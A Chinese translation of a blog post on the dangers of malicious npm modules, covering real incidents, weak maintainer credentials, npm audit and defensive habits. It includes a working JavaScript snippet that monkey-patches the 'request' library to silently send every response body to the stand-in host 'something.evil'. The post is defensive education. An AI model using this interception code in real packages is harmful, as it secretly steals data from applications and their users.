根據最近npm的一項安全性調查顯示,77%的受訪者對OSS/第三方代碼的安全性表示擔心。本文將介紹關於這方面的內容,經過第三方代碼引入應用程序的安全漏洞。具體來講,咱們考慮被惡意引入的漏洞的場景。javascript
你可能疑惑的第一件事是,是否須要擔憂惡意模塊?程序員是一羣很是友好的人,咱們爲何要懷疑他們發佈的模塊呢?並且,若是npm上的每一個包都是開源的,那麼確定有大量的眼睛來跟蹤每一行代碼,不是嗎?此外,我只有幾個模塊,能有多少第三方代碼呢?java
在探究這些答案以前,讓咱們先看看這篇文章:「我正在從你的站點獲取信用卡號碼和密碼,方法在這"。這是一個虛構的故事,講的是npm上的Node.js模塊的做者,該模塊可以偷偷地從網站上盜取信用卡。故事詳細介紹了隱藏這些活動的各類方法。例如,代碼歷來不會在localhost環境上運行,它歷來不會在開發控制檯打開時運行,它只在很短一段時間內運行,而且發佈到npm的代碼被混淆了,而且與在GitHub上公開託管的代碼不一樣。雖然這個故事是虛構的,但它所描述的技術方法是徹底可行的。node
固然,那只是一個虛構的故事。現實真的有這樣的例子嗎?npm最近發佈了這篇文章:「惡意模塊報告:getcookies」。本文介紹了一個實際狀況,文中描述的模塊被髮布併成爲其餘模塊的依賴項。當接收到精心設計的頭信息時,將觸發此惡意模塊,而後執行請求中提供的任意JavaScript代碼。git
getcookies
模塊確實也成爲了幾個模塊的依賴項,但理論上這種損害並無被普遍傳播。您如今可能想知道會形成多大的破壞,或者攻擊者會對npm生態系統產生多大的影響。在「收集弱npm憑證」這篇文章中,一位安全研究人員描述了他如何獲取npm用戶賬戶憑證(從而得到發佈權),這些賬戶佔整個npm包生態系統的14%。這是經過從許多可用的憑據泄漏和強制使用弱密碼收集憑據來實現的。因爲這些包是其餘包的依賴項,研究人員可以瞬時影響54%的整個npm生態系統!若是研究人員發佈了他所控制的每一個包的補丁版本,而後運行一個npm install
,其中包含54%包中的任意一個包的依賴樹,就會執行研究人員的代碼。程序員
更爲嚴重的是,即便是善意的包做者也可能成爲網絡釣魚和密碼泄漏的受害者。爲了防止以上問題的出現,npm確實爲其服務增長了雙因子認證 (2FA)。然而,即便添加了2FA,託管在npm上的包也不必定是所有啓用的。2FA是可選的,不太可能全部的npm包做者都啓用它。雖然2FA更安全,但許多2FA方法也容易受到釣魚攻擊。github
固然,模塊做者更有可能意外地向模塊添加漏洞,而不是故意這樣作。學者們發現Node.js模塊中存在大量注入漏洞,這可能會使您的應用程序變得脆弱。咱們才真正開始關注這方面的研究,隨着生態系統和Node.js開發人員數量的增長,針對npm模塊的攻擊只會變得愈來愈有利可圖。數據庫
若是讓你預估你的代碼庫中有多少是應用程序代碼,有多少是第三方代碼?如今你應該獲得一個數字,接下來在應用程序中運行如下命令。該命令計算應用程序中的代碼行數,並將其與node_modules目錄中的代碼行數進行比較。express
npx @intrinsic/loc
複製代碼
這個命令的輸出可能有點使人驚訝。對於一個擁有數千行應用程序代碼的項目來講,擁有超過100萬行的第三方代碼是很常見的。npm
如今你可能想知道到底會形成什麼樣的傷害。例如,若是您的應用程序依賴於模塊A,而模塊A又依賴於模塊B,最後依賴於模塊C,那麼咱們將一些重要數據傳遞給模塊C的概率有多大呢?安全
爲了讓惡意包形成破壞,無論它在require層次結構中有多深,甚至無論它是否直接傳遞敏感數據。重要的是代碼被require
了。下面是一個惡意模塊如何修改全局request
的例子,它很難被檢測到,而且會影響整個應用程序:
{
// Require the popular `request` module
const request = require('request')
// Monkey-patch so every request now runs our function
const RequestOrig = request.Request
request.Request = (options) => {
const origCallback = options.callback
// Any outbound request will be mirrored to something.evil
options.callback = (err, httpResponse, body) => {
const rawReq = require('http').request({
hostname: 'something.evil',
port: 8000,
method: 'POST'
})
// Failed requests are silent
rawReq.on('error', () => {})
rawReq.write(JSON.stringify(body, null, 2))
rawReq.end()
// The original request is still made and handled
origCallback.apply(this, arguments)
}
if (new.target) {
return Reflect.construct(RequestOrig, [options])
} else {
return RequestOrig(options)
}
};
}
複製代碼
這個代碼示例(若是包含在Node.js進程所需的任何模塊中)將攔截經過請求庫發出的全部請求,並將響應發送到攻擊者的服務器。
如今想象一下,若是咱們把這個模塊修改得更邪惡。例如,它甚至能夠修補內部加密模塊提供的方法。這能夠用來將進程加密的任何字符串發送給第三方。這將影響將密碼做爲依賴項的其餘模塊,例如數據庫模塊在散列密碼時執行auth或bcrypt模塊。
模塊還能夠對express模塊進行補丁,並建立一箇中間件,該中間件在每一個傳入請求上運行。而後,這些數據能夠很容易地廣播給攻擊者。
咱們能夠作幾件事來保護本身免受惡意模塊的攻擊。首先要作的是瞭解應用程序中安裝的模塊數量。您應該始終知道應用程序依賴於多少模塊。若是您曾經找到兩個提供相同功能的模塊,請選擇依賴關係較少的模塊。擁有較少的依賴意味着擁有較小的攻擊面。
一些較大的公司實際上會有一個團隊手工審覈每一個軟件包和軟件包的白名單版本,而後容許公司的其餘人員使用!考慮到npm上可用的包和發行版本的數量,這種方法並不實際。此外,許多包維護人員將安全更新做爲補丁發佈,這樣用戶就能夠得到自動更新,可是若是審查過程很慢,那麼應用程序的安全性就會下降!
npm最近收購了NSP併發布了npm audit
。此工具將掃描已安裝的依賴項,並將其與包含已知漏洞的模塊/版本的黑名單進行比較。運行npm install
甚至會告訴您是否存在已知的漏洞。運行npm audit fix
程序將嘗試用永久兼容的版本替換易受攻擊的包(若是存在的話)。
這個工具雖然功能強大,但僅僅是抵禦惡意模塊的開始。這是一種保守的方法:它取決於已知和報告的漏洞。它依賴於在開發機器上運行命令的開發人員,查看輸出,將依賴關係更改成再也不須要脆弱模塊,而後再次部署。若是已知某個漏洞,它將不會主動保護當前部署的服務。
npm audit
會發現問題(如截圖中顯示的stringstream包)。例如,模塊A不是常常更新,而且它依賴了一個有漏洞版本的模塊B,而後模塊B的版本被維護者修復了,應用程序全部者不能簡單地更新模塊B的版本。另外一個缺點是,有時審計的結果是沒法利用的問題,例如模塊中的ReDoS漏洞,該漏洞從不接收來自最終用戶的字符串。
讀完這篇文章後,您甚至可能想徹底避免使用全部第三方模塊。固然,這是徹底不切實際的,由於在npm上有大量可用的模塊,從新建立它們將是一項昂貴的工做。構建Node.js應用程序的吸引力來自於npm上龐大的模塊生態系統,以及咱們構建可生產應用程序的速度。避免第三方模塊違背了這一目的。
記住,必定要注意您已經安裝的模塊,注意您的依賴關係樹,注意具備大量依賴關係的模塊,並仔細檢查您正在考慮添加的模塊。這些是防止惡意模塊進入依賴關係樹的最佳方法。一旦模塊成爲依賴項,及時更新它們,由於這是得到安全補丁的好方法。不幸的是,若是您的應用程序的依賴關係樹中最終出現了一個惡意模塊,或者發現了一個零日漏洞,那麼你也無能爲力。您能夠繼續運行npm audit
,但願有人報告易受攻擊的代碼,但即便這樣也意味着您應用對外使用期間易受攻擊。若是您真的但願主動地保護Node.js應用程序免受惡意模塊的攻擊,防止惡意的網絡請求、危險的文件系統訪問和限制子進程執行,或者您須要使用Intrinsic
。
譯者注:前面介紹了那麼多,後面的文章話鋒一轉介紹了Intrinsic這個產品,感興趣的朋友異步到他們的官網查看,再也不繼續翻譯。
原文:common node.js attack vectors:the dangers of malicious modules